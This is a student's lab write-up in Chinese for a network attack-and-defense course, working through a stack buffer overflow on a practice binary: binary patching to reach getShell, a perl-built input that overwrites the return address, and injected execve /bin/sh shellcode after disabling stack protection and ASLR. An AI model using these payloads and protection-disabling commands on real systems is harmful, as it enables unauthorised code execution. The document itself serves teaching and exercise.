20211906 2021-2022-2 《网络攻防实践》第九周作业

1.实践内容

1.1 BOF及其种类

BoF,Buffer Overflow 是所有溢出漏洞的统称。

栈溢出 Stack Overflow,基于栈的溢出,利用不安全方法,通过写入指定长度的数据到栈空间,从而做到对程序跳转地址的控制,执行恶意代码

堆溢出 Heap Overflow,基于堆的溢出

整数溢出 Integer Overflow,将 long 这样的整数存入 int 型的变量,造成的溢出

字符编码溢出 Unicode Overflow,将 Unicode 字符存入 ASCII 类型的变量,造成的溢出

1.2 odjdump的使用及常见命令(Linux反汇编工具)

objdump有点象那个快速查看之类的工具,就是以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。

objdump -d <file(s)>: 将代码段反汇编;

objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;

objdump -C <file(s)>: 将C++符号名逆向解析

objdump -l <file(s)>: 反汇编代码中插入文件名和行号

objdump -j section <file(s)>: 仅反汇编指定的section

1.3 vim及其常用命令

Vi是linux系统下自带的文本编辑器,vim则是vi的升级版本,代码补完、编译及错误跳转等方便编程的功能特别丰富。
w:保存;

q:退出;

wq:保存并退出;

q!:强制退出不保存(!起强制作用)

%!xxd格式转换

1.4 gdb调试


1.5 ShellCode的定义及编写规则

shellcode就是一段机器指令(code)

通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),

所以这段机器指令被称为shellcode。

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

编写规则

(1)不能有全局变量
因为我们编写shellcode时,使用的全局变量是自己的进程里面的全局变量,注入到别的进程里,这个地址就没用了。
(2)不能使用常量字符串
和第一点原因一样,字符串常量值也是全局变量,注入到别的进程里,根本没有这个字符串。

要使用字符串,请使用字符数组。

char s[] = {'1','2',0};

(3)不能直接调用系统函数
调用系统函数的方式是间接调用(FF15),需要从IAT表里获取API地址,每个进程的IAT表位置不同,且对方的进程可能没有导入你需要调用的函数的DLL,那么你是不能调用这个系统函数的。

所以我们需要用到 LoadLibrary 和 GetProcAddress 这两个函数,来动态获取系统API的函数指针。

但是 LoadLibrary,GetProcAddress 本身就是系统函数,它们本身就依赖IAT表,咋办呢?

解决方案是这样的:通过FS:[0x30] 找到PEB,然后通过PEB里的LDR链表 [PEB+0x0C]找到 kernel32.dll 的地址,然后我们遍历它的 IAT表,找到 LoadLibrary 和 GetProcAddress 函数。

(4)不能嵌套调用其他函数
和前两点道理是一样的,本进程里的函数地址,拿到别的进程的虚拟地址空间是无效的。

1.6返回地址入栈与通用寄存器入栈的具体概念

返回地址入栈:我们知道,当函数结束时,代码要返回到上一层函数继续执行,那么,函数如何知道该返回到哪个函数的什么位置执行呢?函数被调用时,会自动把下一条指令的地址压入堆栈,函数结束时,从堆栈读取这个地址,就可以跳转到该指令执行了。如果当前"call foo"指令的地址是0x00171482,由于call指令占5个字节,那么下一个指令的地址为0x00171487,0x00171487将被压入堆栈:

通用寄存器入栈:将函数中使用到的通用寄存器入栈,暂存起来,以便函数结束时恢复。在foo函数中用到的通用寄存器是EBX,ESI,EDI,将它们压入堆栈,如图所示:

2.实践过程

2.1 实践一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先下载目标文件pwn1,先输入unzip pwn20211906dengye.zip解压

再输入objdump -d pwn20211906dengye | more进行反汇编。


在0x80484b5这一行 我们可以看到call foo函数。

二进制分析:e8表示call,d7ffffff表示要跳到的地方,即代表08048491(foo),eip = 80484ba+fffffd7=8048491

(注:当执行一条指令时,eip中的是下一条指令即图里面的80484ba)

可知foo函数执行完成之后,系统会调用的下一条指令的地址为80484ba,此地址为返回地址

并且我们知道getShell函数地址为0804847d

其中,08049491-080484ba=d7ffffff,我们要做的就是拿getshell对应的0804847d-080484ba对应的值改到d7ffffff即可实现getshell的执行。(改成c3ffffff即可)

接下来修改即可,这里使用vim命令 ,vim pwn20211906dengye

先输入:%!xxd将其改成十六进制显示

再输入/d7,查找

将d7修改为c3,并:%!xxd -r格式转化,并:wq保存.

再次objdump再检查一下

可以看到修改成功。然后跑一下,success。

2.2 实践二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

首先查找漏洞

其中0x38即为堆栈上的变量,

可以看到,8048497的汇编指令为
lea -0x1c(%ebp),%eax,意思是,把这个-0x1c(%ebp)放到了eax,再把eax放到了esp。也就是把字符串放到了-0x1c(%ebp)的地址。

即为输入的字符串留下了1c的空间,即28个字符。这个是传给getstring。预留是28个空间,如果超过
算上ebp的4位字符空间,我们即可得到从第32个字符开始覆盖eip的存储空间

我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数。

首先使用gdb调试,gdb 20211906dengye——2 gdb(r)

我输入了32个值,因为超过了28,故报错

确定了输入29-32这四个字符就会跑到eip。

因此我们需要将eip的值换成getShell的首地址。之前由objdump反汇编可getShell首地址为0x0804847d。因此要输入\x7d\x84\x04\x08(小端优先)

由于键盘无法直接输入十六进制ascll码。这里借助perl。

perl -e 'print "1" x 32;print "\x7d\x84\x04\x08"' > input20211906dengye

输入xxd input20211906dengye_2验证

用cat和管道输入到执行函数中,(cat input20211906dengye; cat) | ./pwn20211906dengye_2

success。

2.3 实践三:注入一个自己制作的shellcode并运行这段shellcode。

首先我们先做一些设置,关掉一些防护措施,简化shellcode的执行。

在此之前先安装execstack

使用指令apt-get install execstack

execstack -s pwn1 //设置堆栈可执行(默认是不可执行的)

execstack -q pwn1 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查询地址空间是否随机化

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

Linux下有两种基本构造攻击buf的方法:

retaddr + nop + shellcode

nop + shellcode + retaddr

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

同时我们应该理解返回地址入栈与通用寄存器入栈的具体概念(见第一部分)

这里我使用先放nop再加shellcode最后放返回地址的结构,

nop+shellcode=32个字节

输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 查看最后四个字节在哪里

然后输入(cat input_shellcode;cat) | ./pwn1

然后输入ps -ef | grep pwn1查看进程id

用gdb attach

gdb中首先(gdb) disassemble foo设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。然后info r esp 看地址 再计算。

地址是0xffffd14c +0x00000004=0xffffd150

于是修改为perl -e 'print "A" x 32;print "\x50\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

然后xxd input_shellcode

(cat input_shellcode;cat) | ./pwn1 成功了~~

3.学习中遇到的问题及解决

3.1 在下载gdb的时候出现错误

解决:使用sudo apt-get update 再下载就可以了。

3.2 安装execstack时候出现错误

解决:打开sources.list文件,sudo vim /etc/apt/sources.list,然后添加,最后更新apt-get,成功!

3.3 找端口时出错

解决:是在寻找pid时候出错了,然后发现之前使用ps -ef | grep命令找端口时,我找的并不是pwn这个进程的端口。(这个问题花了好久找到,主要是在重新打开一个终端用ps —ef的时候 另一个终端里面pwn1文件运行与否的问题 不然会找不到pwn1的进程。)

4.学习总结

本次实践难度比较大,花了我很多时间去找资料、做实验。但同时收获也很大,掌握了很多linux系统方面的知识,也了解了缓冲区溢出和shellcode相关知识。感谢老师~

参考资料:

https://blog.csdn.net/qq_27786919/article/details/98592180

https://www.likecs.com/show-305587523.html

https://zhuanlan.zhihu.com/p/97008008

https://blog.csdn.net/qq_47713364/article/details/118708515

https://www.lmlphp.com/user/75347/article/item/844153/

https://blog.csdn.net/weixin_30077373/article/details/116750037

云班课视频资料

posted @ 2022-05-14 01:40  itumes  阅读(87)  评论(0编辑  收藏  举报